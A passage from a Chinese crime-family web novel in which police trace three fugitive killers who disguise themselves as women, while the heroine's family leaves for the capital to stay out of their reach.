她赌不起。 丁大勇刚想拒绝,苏丽珍却向他摇头,示意对方听自己说完:“哥,这件事你必须听我的!我都想好了,咱们先不要说实话,我想办法直接带大家走……咱们就去首都。” “对,我们就说是去旅游!丁大娘她们不是还没去过首都吗?” “……咱们这么多人一起走,出门一趟不容易,刚好可以借口在那边多呆一段时间,直到这边有定论为止。” 另一头,送走苏丽珍和丁大勇后,卢向杰再次回到专案组办公室,目光沉沉地盯着面前写满字迹的记事板陷入沉思。 下午五点,队员小张忽然领着一个胳膊上绑着黑纱的中年妇女走了进来。 “卢队,王建军的家属来了,她说有个情况想跟咱们汇报一下。” 王建军就是被三名凶徒残忍杀害,并劫车潜逃的货车司机。 “卢队长,我今天在家收拾屋子的时候,在我家电话本上找到了一条老王记的口信。” 王建军家属说着,将一个巴掌大的笔记本递给卢向杰。 卢向杰翻看笔记本,见上面记了不少电话号,等翻到最后,果然看到了家属口中那条口信: 初九去林春,回程帮老马带衣服。初八晚记。 王建军家属解释道:“我家老王记性不好,常常是客户刚打的电话,他一转身就给忘了。我就叫他把重要的信息直接记在电话本上,每天勤翻一翻。” “这条口信上提到的老马,是我家老王的发小。他家大闺女工作单位效益不好,年前老马来我家,我好像听他跟我家老王说,想让他闺女在南湖那边摆个摊,卖点衣服。” “……正好老马有个亲戚在林春市开女装店,听说一年能挣不少钱。” 王建军家属面色蜡黄,双眼红肿,说话显得有些絮叨,但是卢向杰和小张都耐心地听着,并没有出声打断。 “我家老王出事那天刚好是去林春拉化肥,所以我就琢磨着,这口信可能是老马让我家老王帮忙从林春捎几件衣服回来,给他闺女摆摊用。” “大概是不想给我添麻烦吧,我家老王出事后,老马来我家根本没提过这事,还是我今天上午翻老王的电话本,才看到这一条。” “以我家老王的性格,只要他记住了,就绝对不会忘,所以他肯定是把衣服带回来了。” 听到这里,卢向杰和小张精神一震,直觉到了关键地方。 “可我记得很清楚,警察那天让我来辨认老马的遗物时说过,除了一车化肥,老马其他稍微值钱点的东西都被那三个畜生抢走了,连他车里预备的棉袄都没剩下,哪里还有什么衣服……” 王建军家属说到这里,便眼巴巴地看向两人。 卢向杰会意,马上点头道:“对,王大嫂,你记得没错,车里确实没有什么能摆摊的衣服。” 王建军家属点头:“我就记得是这么回事……所以我就去找老马,问他到底有没有这事,我家老马究竟从没从他家亲戚那儿带衣服出来。如果没带就算了;要是帮着带了,又不见了,那我得赔人家。” “我家老王实诚了一辈子,凡是让他拉货的人没有夸他不好的,我不能让他走了还不安心……” 王建军家属说着说着又开始落泪。 小张有些着急,卢向杰朝他微微摇了下头,从衣兜里掏出手绢递给对方。 “王大嫂,节哀。” “谢谢……”王建军家属擦了擦眼泪,终于想起自己的来意,这才继续往下说:“老马一开始还不肯说,后来我急了,他才承认,确实是有这事。” “我家老王也是真的帮忙从他亲戚那里捎回来两包衣服。老马的亲戚还特地给他打电话通知过老马,绝对错不了!” 小张不禁有些振奋,迫不及待地追问道:“那大嫂,那个老马有没有说,他让您爱人带的具体都是什么样的衣服?” 王建军家属摇头:“具体的没说,我只听他提了一嘴是女装。” “女装?”小张一愣,“都是女装吗?” 王建军家属想了想,最终点头道:“应该是,毕竟他那个林春市的亲戚开的就是女装店。” 卢向杰这时开口:“大嫂,您能把这个老马的联系方式提供给我吗?您提供的线索非常重要,我们想亲自跟这位老马联系一下。” “能、能!”王建军家属激动道,“卢队长,我提供的线索有用的话,是不是你们就能很快把那三个畜生抓住了?” 卢向杰郑重点头:“我向您保证,我们一定竭尽全力尽快抓住三名凶犯!” 第237章 安抚并送走了受害人家属后,卢向杰立即带着小张,开车前往那位老马的工作单位。 车上,小张还忍不住嘟囔:“卢队,你说这些衣服都去哪儿了?这三个畜生在前两起受害人家里都搜刮到了衣服,没理由会动这些女装啊?” “……而且还是整整两包,总不会是都要留着自己穿吧?” 这句话一出口,他眼睛猛然一亮。 是啊,为什么不能是他们自己穿? 三名凶犯很可能在搜刮王建军的财物时,意外发现这两包女装,进而生出伪装成女性蒙混警方的想法。 毕竟,还有什么比直接改变性别更好的掩饰方式吗? 尤其三人中的秦小虎,一米六五的个头,身形瘦小,装成女同志的话,这大冬天帽子、围脖一戴,旁人很难看出真假。 难怪,这几天无论他们在富溪市内怎么查,都查不到一点蛛丝马迹。 这三个人,除了身形高大、不适合伪装的秦大虎,郭赖子身高一米七,体型t偏瘦,扮成女同志也不算违和。如果三人中有两人成了“女性”,确实会让一直以三名男性为主要追查目标的警方忽略。 真是太狡猾了! 小张一想到这个可能,就忍不住恨的咬牙。 卢向杰也是一样的推测,但是具体能不能成真,还需要等他们见过当事人,求证后才能下定论。 “是不是,等咱们见过这个老马,应该就能有答案了。” 苏丽珍和丁大勇定下计划后,没有第一时间回家。 两人思来想去,还是没有把握在不告知家里长辈实情的前提下,尽快离开凤城。 所以他们还需要一个帮手。 考虑半天,苏丽珍决定向苏振东求援。 于是,两人马不停蹄赶到食品公司,在苏振东惊诧的目光下,把苏丽珍之前跟卢向杰坦白的话,以及眼下的危机都告诉了他。 苏振东起先是震惊,等了解了前因后果,反而平静了下来。 他看着苏丽珍苍白的脸,还有丁大勇明显紧绷的样子,不由一手一个,轻轻攥了攥他们的肩膀。 “没事的,孩子们,这件事就交给叔叔,叔叔帮你们想办法,我会尽快说服大家去首都。” 苏丽珍眼眶一红:“东叔,对不起,我……” 苏振东摇头:“傻孩子,这又不是你的错,不要把什么责任都往自己身上揽。恶人并不会因为你从未得罪过他,就会放过你。” “我们是一家人,东叔很高兴你能在这样关键的时候选择对我说这件事。孩子,这些年,你为这个家做得够多了,接下来就换东叔我来吧!” “让东叔保护你!” “东叔……” 苏丽珍流着泪,把额头轻靠在对方肩膀上。 家人的包容与爱护,让她忍不住把脑子里一直拼命告诫自己要冷静坚强的声音屏蔽掉。 至少在这一刻,她想小小的软弱一下,去依赖她的家人。 苏振东直接给苏丽珍出了个主意,他们一家如今在凤城连着过了好几个年了,其实首都那边还有一些跟苏厚德关系不错的人,都非常想念他,当然,这其中打头的肯定是沈老爷子。 苏厚德也惦记对方,尤其今年沈瑞又不在家过年,老爷子很落寞,听说初五前后还小病了一场。 苏振东准备劝苏厚德回首都,“顺便”也劝大家都跟着去转转。 首都那边每年元宵节前后活动都不少,白天庙会,晚上灯会,几个地方交错着来,好多项目还跟凤城这边不一样,很值得一看。 苏丽珍也觉得苏振东的主意不错。如果只是单纯去首都玩,她爸妈未必愿意把火锅店一扔好几天,但要是加上陪苏爷爷探望亲友,那他们十有八/九会同意。 果然,来找苏振东求援是对的! 三人定好了主意才一起回家。 只想不到,“计划没有变化快”,他们三人几乎是跟苏卫华夫妻一起到的家。 当时是,李翠英被苏卫华和苏小麦一左一右护在中间,而李翠英的右手臂正被她脖子上挂着的一条吊带悬吊在胸前。 苏丽珍只看了一眼那白色的医用吊带就一阵头晕目眩,仿佛全身的血液冻结一般。 她不管不顾地冲了过去,声音几乎都在发抖:“怎么了、这是怎么了?是谁干的?是不是遇上什么人了?” 苏丽珍这副样子把所有人都吓了一跳,苏卫华赶忙道:“没事没事,不是,是没啥大事!闺女,你别慌,你妈就是下午在店门口摔了一跤,把手腕摔伤了。” “对对,珍珍啊,别担心!妈就是自己没当心,摔倒时磕了手腕,伤的不重!” 李翠英说着、还瞪了苏卫华一眼,埋怨道:“我都说了有小麦陪着我去医院就行,就你欠欠的,非要跟来,还咋咋呼呼的,弄得像怎么回事似的!” 听说只是摔伤手腕,苏丽珍揪成一团的心才稍微缓了缓,可还是忍不住确认:“妈,真的只是你自己不小心摔的吗?会不会有人故意使坏?” 看闺女一张脸还煞白煞白的,李翠英又是心疼、又是好笑,只得又一次强调道:“傻孩子,哪有那么多坏人!” “真是妈自己不小心摔的!” “这不是过年那两天,咱家这儿来了只猫吗?也不知道是谁家的,每天总在咱家后厨窗根下喵喵叫,我就每回都去给它送点吃的。这几天不知道是不是天冷,一连几天没看着,今天又来了,我就弄了点吃的给它端过去,结果回来的时候没注意就摔门口了。” 苏卫华就在旁边嘟囔:“让你烂好心,喂人家猫,自己摔跤!” 李翠英瞪她:“瞎说啥!真要该着我有这一灾的话,那干啥都躲不过,兴许我要不喂这猫,我摔的更重呢!” 苏卫华不乐意了,连忙“呸呸”了两声:“你看你,啥都说,生怕孩子不够担心似的!” 苏小麦也说:“妈,爸说的对,这种不吉利的话,咱不能说。” 李翠英回过神也有些后悔:“好、好,是妈的错,妈不说了。” 又看向苏丽珍:“珍珍啊,妈真没啥事!医院也去了,大夫看得可仔细了,说我就是手腕子有点骨裂,养上一段时间就好了!” 这时,苏振东也安抚地轻拍了拍苏丽珍:“孩子,听你爸妈的,别太紧张,这就是个小意外。” 苏丽珍这才彻底冷静下来。 只是过度紧张后,手脚还是一片冰凉。 丁大勇担忧地看了她一眼,赶忙道:“师父,咱先让师娘进屋,别站在外头说话了!” 等众人进了店里,李翠英自然又收到了两位老人和一众店员们的关心。 与此同时,苏振东悄悄把苏丽珍拉到一边,小声道:“珍珍,我倒觉得这是一个机会。大嫂的手伤了,干不了活,我们这时候劝她去首都,她答应的机率更大些。” 苏丽珍的理智开始回笼,也觉得这次可以坏事变好事。 晚上一家人吃饭的时候,苏振东就率先提起今天给高中的班主任老师打电话问候,听说对方年前小病了一场,身体大不如前,心里十分不是滋味。 接着,又状似无意地问苏厚德现在还跟首都的老朋友有没有联系。 几句话成功勾起了苏厚德对老友们的挂念。 苏卫华在旁边看了,便顺口劝对方,要是实在想念朋友,就回去看看。现在首都那边还比东北暖和,去了正合适。 丁大勇看准时机,也跟着劝自己的师父、师娘,既然师娘手伤了需要休养,那不如趁这机会陪苏爷爷一起去首都,在那边散心养病。 苏卫华和李翠英果然有些意动。 两人铺垫的好,苏丽珍顺势提出让丁大娘带着岁岁也去。 听说李翠英摔伤特地来探望,又被留下吃晚饭的丁大娘,一听这话哪好意思,连连摆手拒绝。 本来李翠英还在犹豫,结果一看丁大娘拒绝,她反而跟着劝上了。 最终,一顿饭的工夫,这件事直接拍板,两家人一起去首都探亲访友加旅游,好好玩一段时间。 芽芽和岁岁乐得不行,小姐俩勾肩搭背,已经开始计划起出门要带的东西了。 苏丽珍看着兴致勃勃讨论的家人们,跟苏振东和丁大勇悄悄交换了一个眼神,暗暗松了口气。 翌日,强势盘踞在省内一周时间的强冷气团终于显出颓势,让太阳再次夺回主权,将温暖重新播撒大地。 中午十二点 “208”“210”特大抢劫杀人案的专案组成员们,正在对由凤城西郊通往富溪市的大道两旁,进行地毯式搜索。 昨天下午,卢向杰带着小张,根据受害人家属提供的线索去找了那位老马。经老马证实,受害人王建军的确是受他委托,在初九当天下午从他表哥的服装店带走了两包女装。 如今这两包衣服不见踪影,卢向杰直觉这是一个突破口,于是当即决定,亲自赶往林春市老马表哥的女装店去看一看。 林春市在临省,开车过去要七个小时,卢向杰安排好凤城的事后,当晚八点带着队员小张连夜出发,于今天凌晨三点多到达林春。 在车上简单对付了两个小时后,清早七点不到,他们就联系上老马的表哥了解情况。 老马表哥将当日王建军带走的具体衣服样式一一找出,供他们拍照记录。 这两包衣服分别是红、蓝两色的女式中长款棉袄,大小码各两件,总共八件;黑白格呢子大衣两件,深蓝色牛仔裤八条。 同时,老马表哥还提供了一个重要信息。就是初九当天,他们店里非常忙,他在给表弟打包衣服的时候,不小心把刚买的、准备装t扮塑料模特的两顶假发也混了进去,过后他才发现。 一听说还有两顶假发,卢向杰和小张更加确定之前的推测。 之后,他们就迅速赶回富溪市。 为节省时间,卢向杰和小张把车托给别人帮忙开回去,两人直接坐上了八点半由林春开往凤城的火车,上午十一点半到达凤城,然后又马不停蹄赶到三名逃犯当初弃车的地点,进行搜查。 三名逃犯即便要伪装成女同志,也用不上那么多衣服,特别是棉袄比较占地方,不易随身携带。卢向杰分析,这三人大概率会在逃匿过程中,将用不上的衣服处理掉。 而三人弃车的这条大道为东西向,所以卢向杰等人主要的搜查方向是车道两侧,往南、北两个方向的荒野地带。 卢向杰这次从局里调来了八个人,分成两组,一组向南、一组向北,开始认真搜寻。 这片荒野到处是杂草、灌木,又因为之前的强寒潮,有的低洼处还存有厚厚的积雪,搜寻难度直线上升。 不过,也许是幸运之神眷顾,在细致搜查了一个小时后,一组的人就在车道往南五百米的一个土沟里找到了被石块、枯草和积雪掩埋的两包衣服。 开局顺利,众人都兴奋不已! 将包内的衣服取出后,根据之前老马表哥提供的信息,经比对后,两包衣服少了一件红色小码棉袄、一件蓝色大码棉袄和一条蓝色牛仔裤。 另外多了三件男士旧棉衣,其中一件两面穿的土黄色羊皮袄上还沾有明显血迹。 再联想到王建军车里丢失的备用棉袄,基本可以确定,三名凶犯在逃窜前换了衣服,其中体型更合适的郭赖子和秦小虎直接乔装成女性,迷惑警方。 卢向杰果断下令:“小张,你带人去把丢失的衣服和假发照片提供给富溪市警方,让他们根据照片,留意一下市内和所有出城路口,看近期有没有做这种打扮的两女一男三人组合出现过。” 知道了这三人是怎么逃的,现在要确定的就是他们究竟往哪边跑了。 同组的大刘道:“卢队,既然咱们在这边发现了衣服,那要不要再到南面的村子里找人问问?” 从这儿往南一公里有两个村子,也是这一带距离大道最近的村子。 那三人选择在这里处理衣服,说不定会继续向南,从南边绕一圈进入富溪市里。 卢向杰却摇了摇头:“那俩村子,咱们之前已经走过很多次了,没查到任何有用的线索。” “这大红棉袄这么扎眼,村里人如果见过,不可能没有印象。” 大家想想也是。 大刘叹气:“但愿咱们时间赶得及,别让他们有机会真跑去蒙区。” 这也是大家最担忧的,人去了那边,追查难度几乎翻倍。 卢向杰却不这么想。 通过这几天的搜查,他隐隐有种直觉,觉得这三名凶犯当初根本就没往富溪这边来。 从这三起案子看,这三人都表现出对财物的极大贪欲。 稍微值点钱的东西,只要能带走就通通不放过。 三个逃亡的人,每天朝不保夕,最先考虑的不该是食物和保暖的衣物吗?尤其他们的路线大多是需要躲避人烟的荒僻之地。 这个时候还惦记着钱,除了自信自己一定能花得出去之外,大概是为自己准备的后路。 可不提第三起案子的受害人当时随身携带的资金有限,前两起灭门案的受害者家境也都很普通,就算三名凶犯搜刮的再厉害,能拿到的钱也有限。 他们又有三个人,这点钱够分吗? 如果不够,从初十到今天,一连四天,富溪这边为什么能这么安静?以他们的做法,不该是一路走、一路抢吗? 卢向杰可不信他们会轻易收手。 一直没动静,大概率是正借着伪装,潜伏在什么地方,伺机寻找更合适的下手目标。 等拿到足够的钱,再考虑真正的退路,比如蒙区,或者干脆是发展更迅速的南方地区。 这也是很多有“经验”的犯罪老手一贯做法。 既然他们要潜伏,那自然怎么低调怎么来,可无论是选择在富溪弃车,还是在这边处理能暴露他们的衣服,都无疑会把目光吸引到富溪,这明显不利他们要做的事。 所以他认为,也许从弃车开始,这一步步只是三人的障眼法,他们当初很可能根本没有进入富溪市。 大刘等人听了这分析,都十分震惊,可仔细想想又觉得有道理。 “这三个人的反侦察意识远比咱们想的要强。” 卢向杰抬头望着南边遥远的、显的小小的村落,最后总结:“也许从一开始,他们真正的目的就不是富溪这边。” 尤其是他想起之前接到刘五爷的电话,对方提起初十那天下午,曾有个拄拐的老太太到刘家老房子附近,打听刘家人的情况。 他一直很在意这件事。天寒地冻的,一个拄着拐棍的老太太怎么会一个人跑去打听这些? 这个时机有点太巧了。 他曾设想,或许这个老太太是被什么人指使的,因此安排了人在刘五爷家附近蹲点,可惜一直没什么收获。 现在看来,一切可能早有端倪,老太太未必是真的老太太。 可如果这三个人真的又返回凤城,那他们走的是哪条路? 原路肯定不可能。 而凤城又太大,与富溪接壤的边界线很长,真一处处找下去,寻访目击者,直到确认,这一套下来不知道又要多长时间。 显然时间拖得越久,越不利。 一想到这,卢向杰也不由眉心紧皱。 “先回主道吧。” 一行人又回到案犯弃车的那条大道上。 第238章 卢向杰盯着脚下这条东西向的大道看了一会儿,忽然让组员们都上了车。 他自己则坐进驾驶位,发动车子,然后调转车头,慢慢往凤城的方向开了过去。 他车速很慢,一边开,还一边往沿途道北的方向扫视。 大约开出一公里的时候,卢向杰忽然踩了刹车,然后飞快从车上下来。 其他人立刻跟上。 等所有人都下车后,很快发现从卢向杰站定的位置下道,往北竟然有一条羊肠小道。 因为这条小道实在太窄,加上之前连续数天风雪肆虐,落雪被吹硬又吹散,落在地上一块、一块像饼干上的糖霜,人坐在车里一走一过,很难发现这条路。 有人直接问出了声:“这条路通哪啊?” 卢向杰开始向四周张望:“找个人问问。” 只是他们一连打听了好几个过路行人,得到的答案都是不了解。 几人正考虑要不要干脆下去走一趟的时候,就见大道上从西边慢悠悠过来一辆驴车。 大刘眼尖,一眼认出,这驴车是他们之前走访过的南边村子里一个农户家的,赶忙上前把人拦住。 车主人显然也记得他们,一听他们打听这条小道,当即抬手指了指北面一座山,道:“看到那山没?这小道就通往那山根下的羊耳朵屯。” “沿着这条道走个四、五里路吧,再穿过一片林子就到那屯子了。” 众人见他果然了解,都心中一喜,卢向杰忙问道:“大叔,您对这羊耳朵屯了解的多吗?” 车主点头:“俺家是坐地户多少年了,就这一片,多少知道点。” 卢向杰又问:“大叔,哪您知道这羊耳朵屯有什么路能通往富溪市区或者是凤城吗?就是不到这两个地方,或者再往北能通到哪?” 车主想了想:“往北都是山,人走不了。往西也费劲,俺们这嘎达就北面和西面山多、林子多,都不好走。” “倒是往东边凤城有条路,走起来还行。” 一听那村子居然有一条路能去凤城,几人都精神一震,直觉找到了关键线索。 大刘忙追问:“大叔,那条路怎么走啊?” 车主便又指了指北面那个山包:“翻过羊耳朵屯后面那座山,往东北方向走个十来里路有个高家子镇,沿着镇子上的路还是往东北走,就能到凤城最北边的虎台镇。” 这是一条他们之前根本没听过的路线,众人不由有些激动。 卢向杰也稳了稳,才又问道:“那大叔,像您这样知道这条路的人多吗?” 车主摇头:“应该不多,羊耳朵屯太偏了,过去往他们屯子去的那片林子还总闹狼,一般人都不敢去。” “不过吧,”车主说着,话音一转,“头几年,他们屯里人偷摸在山上养猪t,有那跑‘黑市’买卖的人就总去。后来分地了,这事才一点点传出来,听说他们屯子那两年都没少挣。” 一听到“黑市”两个字,几人心里同时升起一个念头:这把稳了! 下午一点半,凤城火车站。 苏丽珍一家加上丁大娘和岁岁祖孙俩,即将登上开往首都的列出。 眼瞅着快上车了,李翠英还觉得有点懵。 昨晚上做的决定,今天就买票要出发了,是不是有点太突然了? 她忍不住小声跟苏卫华嘟囔:“卫华啊,我这心里咋没底儿似的呢?咱还真说走就走啊!” 苏卫华倒是接受良好:“这不挺好吗?省得你那手干不了啥,你还干着急……再说孩子们都安排好了,你看芽芽和岁岁多开心,难得一家人一起出去玩,你就别想那么多了。” 另一边,苏丽珍看着苏振东和丁大勇,神情不舍,又一次问出了从昨晚到现在不知道问了多少遍的问题。 “东叔,大勇哥,你们真的不跟我们一块走吗?” 苏振东笑呵呵地再次回答她:“好孩子,东叔真不去了,公司里过完年事情多,不能都攒着。” “叔知道你担心啥,别怕!东叔跟你保证,一定老老实实待在公司,尽量不出去。” 顿了顿,他声音压低了几分:“而且你们都走了,我又不在店里出入,那人肯定连我是谁都弄不清楚。” 也是考虑到这点,他才准备留下,毕竟家里怎么也得留个人,有什么事好能及时处理。 丁大勇也道:“是啊,师妹,我这边虽然不去首都,但我也不会留在凤城,不会有危险的。” 前两天,有建筑公司的老主顾给丁大勇打电话,意思是省内安州市开春突然新增了一个市政项目,虽然工程不大,但是如果干好了,也能给没在安州接过业务的“筑梦”公司打个广告。 年后气温一直走低,原本的市中心商业街项目收尾工程只能暂时推迟,他前两天刚把几个公司骨干派出去谈项目,自己也准备这几天出去考察一圈。 现在赶上郭赖子这事,他/妈和岁岁跟着师父、师娘一起去首都,他也能放心,与其去玩,不如多走走去联系业务。 苏丽珍看两人心意已决,虽然心中万分放不下,却只能点点头。 苏振东不想她这样一直担忧,便开口转移话题:“对了,你爷爷那边是不是都通知到了?” 苏丽珍知道振东叔问的是她自己亲爷爷那边。 虽然两家关系现在比较冷淡,苏卫华夫妻只是年节的时候过去看看老人,但毕竟血缘关系在这儿,出了这么大的事,她不可能把这一家子留下。 正好她爷年前念叨着要回鲁省祭祖,顺便把她太爷、太奶的坟迁到这边。 苏丽珍今天早上直接过去,只说是让爷奶和叔婶一大家子都回去处理这件事。 她提到因为李翠英受伤,苏卫华走不开,所以他们这一支就不去了,为此,她愿意支付这一趟祭祖迁坟的所有费用。 婶婶郑艳红本来不愿意让儿子、儿媳耽误工,但是苏丽珍表示会出工资让他们找人代班,立马就欢欢喜喜答应了。 这一趟前前后后,没有半个月时间下不来。 苏丽珍点头:“我找人给他们订了票,比咱们晚半天,明天一早的火车。” 说话的工夫,站台广播喇叭开始播报,火车马上要进站了。 她忍着满心担忧,又提醒两人:“东叔、大勇哥,你们务必要注意安全,尤其是我从卢局那边请来的人,你们一定要让他们一直跟在身边!” 上午她从爷奶家回来就又去了趟刑警队,可惜卢向杰不在。 她跟卢向杰的同事报备了自己一家人准备去首都的事后,从刑警队出来,脚步一转,厚着脸皮去找了卢局,请卢局帮忙联系了几个身手好的退伍兵,想给家里人当保镖。 时间仓促,一共只联系到三个人,丁大勇留下一个,剩下两个都跟着苏振东。 等这次郭赖子的事过去,她也会一直留着这三人,反正她现在不缺钱,也不是养不起,什么都比不上家人的安危重要。 怕被家里人看出端倪,现在这三人就在车站外等着。 苏丽珍想到有他们陪在东叔和师兄身边,心里才有了些安慰。 与此同时,一个穿着大红棉袄,长发垂在胸前,帽子、围脖捂得严严实实的“女子”,正望着前面店门紧闭、只贴着一张大大“闭店通知”的火锅店,神色晦暗不明。 没在原地停留太久,“女子”目光一转,抬脚自然地往前面一家杂货店走去。 “咳咳,大哥,给我来两瓶黄桃罐头。” “好嘞!”老板一边拿了罐头、一边瞄了“女子”一眼,主动搭话:“大妹子,这是感冒了?” “女子”应了一声:“可不是嘛,嗓子都咳哑了!” 老板忙道:“那可得注意,这几天降温,不少人都病倒了。” “女子”趁机跟老板聊了几句,然后不经意地问道:“大哥,我刚刚从‘珍珍’火锅店经过,他们家怎么关门了?” 老板答道:“哦,他们家老板娘昨天下午把手腕子摔伤了,没法干活,干脆就直接关门了。” “女子”点头:“原来是这么回事。我说刚才路过,看楼上好像没住人似的,还以为这一家子都搬走了呢!” 老板不经意道:“没搬走,就是一家子出远门了,听说是去首都探亲,这才刚走不大一会儿。” “女子”心里暗恨,强笑道:“我还以为他们是叫这报纸上的‘灭门案’吓走的呢!” 老板倒是感叹起来:“大妹子,你还真别说,这事搁谁能不害怕啊?我要像他们家那样有个那么能干的闺女,趁那么多钱,我也走,谁搁这担惊受怕啊!” 说话间,一个留着板寸、身材挺拔的年轻小伙子走了进来。 “老板,来两包烟!” 小伙子伸手从牛仔裤后兜里掏钱,不知道碰到了什么,发出轻微的金属撞击声。 “女子”立时瞳仁一缩,不动声色地上前抱起罐头,跟老板打招呼离开:“大哥,那你忙着,我先走了。” 老板热情招呼道:“好嘞,大妹子,祝你早日康复啊!” 小伙子不经意看了“女子”一眼,目光在她身上大红色的棉袄上不自觉停留了一瞬,很快又收了回去。 买完了烟,在附近半条街转了一圈,小伙子就回到了“珍珍”火锅店对面的一栋筒子楼里。 一口气爬上了三楼,掏出钥匙开门进去,屋里正站在窗边盯点的中年人不由回头看了过来。 “小吴回来了!” 小伙子应了一声,进屋把新买的烟递给对方:“陈叔,您的烟。” 陈叔接过烟,笑呵呵问他:“怎么样?出去走一圈能松快松快吧!” 小吴有些不好意思:“是我经验不够,多谢陈叔照顾我。” 陈叔摆手:“这有啥,你刚入行,这种日子今后多的是,慢慢习惯就好了。” 小吴点头,又问对方:“陈叔,有啥发现吗?” 陈叔摇头:“都是奔着饭店来的,没什么大问题。” 小吴让陈叔坐下休息,换他站在窗前盯着。 “陈叔,那三个人会回到凤城吗?” 陈叔坐在椅子上,一边点烟,一边道:“有这个概率,毕竟富溪那边几乎查了个底朝天,至今还没有一点线索。” 这是三个大活人,不可能什么痕迹都没留下。他们也不会轻易“散伙”,越是这种生死存亡的时候,他们越要抱团,彼此监视,以防对方把自己推出去挡木仓。 所以一连三、四天一点线索没有,很可能说明他们根本不在富溪市,至少是不在市区内。 小吴点了点头:“如果他们当初又悄悄潜回凤城,那郭赖子真的会来找这一家的麻烦吗?” 陈叔抽了口烟,“不好说,过去这种事也不少。以这人的性子,机率还更大些。” “再说,站在他们的角度,既然已经成功逃出去就不该再回来。如果宁愿冒险,也非得回来,只能说是还有别的目的。” 小吴不禁问道:“什么目的?” 陈叔指了指对面的小洋楼:“对于郭赖子来说,这是他认定的仇人。” “对于秦氏兄弟,这家有钱,人口又是力量不足的女同志和老人居多,是他们眼里最好的下手目标。” 小吴恍然大悟,怪不得这苏家人都走了,局里还要留人继续在这里盯梢。t “咚咚咚”门外响起敲门声,小吴过去顺着猫眼看了眼,确定是同事,这才开门。 两个专案组的成员一进来就迫不及待地对两人宣布道:“陈叔、小吴,案情有进展了!” 陈叔和小吴同时眼睛一亮。 组员掏出一沓照片递给两人:“这是中午卢队带人在弃车点附近找到的。目前已经能够确认,三名凶犯中的秦小虎和郭赖子都进行了伪装,照片上的女士红、蓝色棉袄,蓝色牛仔裤和假发就是这两人逃窜时使用的装扮。” 组员的声音刚落,就听小吴忽然轻“咦”了一声,伸手抓过那张红色棉袄和蓝色牛仔裤的照片,激动道:“这一身、这头发,我刚刚在楼下见过!” “什么!” 小吴丢下这一句,就急匆匆开门往楼下冲去。 剩下三人,老陈最沉稳,当即道:“这里必须留人,你们俩跟过去,看看什么情况!” 两个专案组成员一路追着小吴来到他之前买烟的日杂店。 小吴向日杂店老板打听刚刚那位穿红棉袄的女顾客,可惜日杂店老板并不认识这个“女人”,也不知道她是从哪儿来。 三人又冲上街,开始沿路打听。好在前后时间不长,他们很快从街边一个卖烤地瓜的老伯口中得知,大约半个小时前,这个穿着大红棉袄的“女人”上了一辆12路公交车走了。 三人只好根据12路公交车行驶的路线,在几个回程站点一辆辆车问过去,终于在一个小时后找到了当时“女人”上的那趟车。 该车售票员对这个穿着大红棉袄,梳着披肩发又捂得挺严实的“女同志”还有印象。 过年穿红的多,她今天也穿了件红棉袄,但是她看对方的款式比自己的好看得多,就多瞅了几眼。 售票员提供了“女人”下车的地点:距离终点站小东门还有两站的团结路口。 小东门居民区,某民房内 秦小虎推门进屋。 “哥,我回来了!” 懒洋洋躺在炕上的秦大虎和一边坐着不知道想什么的郭赖子忙站起身来。 郭赖子讨好地凑上前:“小虎兄弟回来了,辛苦、辛苦!怎么样?这次可看好了?” 秦小虎将帽子、围脖一把扯下,抹了把脸上有些发花的胭粉(东北一种老式香粉),对着他冷笑一声。 “看好了,看的可好了!” 说着,把扯下的帽子、围脖兜头朝郭赖子砸去! “你个蠢货,姓苏的一家子都跑了,一个没剩,店都关了!” “什么!”郭赖子一愣,之后面部一阵扭曲,他有些不甘道:“那他们什么时候回来?或者她家有没有什么关系近的亲戚还在凤城?” 秦小虎闻言,上前抬腿狠踹了对方一脚,郭赖子不防,被踹到大腿一侧,疼得直接弯下了腰。 “你当你是谁呢?还指挥起老子来了!赶紧滚去灶房,给我和我哥弄点吃的,要不然今晚没你好果子!” 郭赖子勉强控制住自己脸上不露出憎恨的表情,抬起脸殷殷道:“是、是,小虎兄弟教训的是,该怎么做,小虎兄弟肯定比我明白!” 秦小虎不耐道:“行了,别啰嗦了,赶紧滚!” 郭赖子又讨好道:“小虎兄弟,不是我不愿去,这不是我如今这打扮,你和大虎兄弟都在家的话,让我这个‘老人’去做饭,是不是有点不像啊?” 秦小虎嗤笑一声:“你还挺小心!让你去你就去,老子回来的时候,那老太婆正好带着小崽子出门买菜,这会儿没人,你痛快地!再磨叽,我让你好看!” “是、是,我这就去!” 见郭赖子走了,秦小虎过去把房门重新关好,转身对秦大虎道:“哥,今天我在那苏家人开的饭店附近碰见警察了!” “啥!”秦大虎一惊,“小弟,那你没被看出啥来吧?” “没有,”秦小虎摇头,“那一看就是个没啥经验的愣头青,还不懂遮一遮身上的味儿,我一个照面就把他认出来了。回来的时候我还特地提前两站下车,没留什么尾巴。” “不过,我也不知道警察出现在哪儿是啥意思。我看咱们八成是被姓郭的忽悠了,他想找人家麻烦,人家备不住早就防着他了。” “要是这样的话,哥,咱们得早做打算。” 秦小虎想了一下,很快道:“这样,这凤城市里有钱的多,明天我就出去找找。等再找到一头‘肥羊’,咱哥儿俩干一票大的,完事就走。” “行!”秦大虎一向什么事都听弟弟的。 “那这郭赖子咋整,咱还带着他吗?” 一门之隔,悄悄回返的郭赖子刚靠近就听到了这句话,不由凝了凝神。 屋里秦小虎咧嘴一笑:“带啊,关键时候,说不定指着他给咱趟路呢!等哪天咱要去南边,用不上他了,再找个机会废了他。” 门外郭赖子不禁攥紧了拳头,眼中满是强烈的恨意! 贱/人,不能帮他报仇,还想算计他! 他下意识动了动小腿,那里绑着他之前偷藏的匕首。 想让他给他们兄弟俩趟路,是吧? 好啊,看最后谁算得过谁! 第239章 夜幕四合,凤城市公安局专案组办公室内却是灯火通明。 “初十凌晨四点半左右,羊耳朵屯好几户人家养的狗突然惊叫,户主出来看,但是都没发现什么。我们怀疑当时很可能是三名凶犯正从村子穿过,准备翻山前往高家子镇。” “初十凌晨五点下了一场小雪,早晨七点二十分左右,高家子镇许姓村民出来扫雪时,看到有两女一男进入镇子。其中两名‘女性’。一人穿着照片中红色棉袄、蓝色牛仔裤;一人穿同款蓝色棉袄,两人都留着同样的‘披肩发’,我们推测这三人就是伪装后的三名凶犯。” “早晨七点四十分左右,穿红棉袄的凶犯进入高家子镇兴隆商店,购买了梳子、橡皮筋、胭粉和糕点。之后不久,店老板就丢失了放在门口,准备粉刷货架的小半桶白色油漆。” “上午九点左右,三名凶犯进入凤城辖区最北端的虎台镇,然后乘坐小客车,在凤城北郊的玻璃厂一带下车。并于二十分钟后,入住玻璃厂小区的一家私人小旅馆,又于次日,也就是正月十一一早退房。” 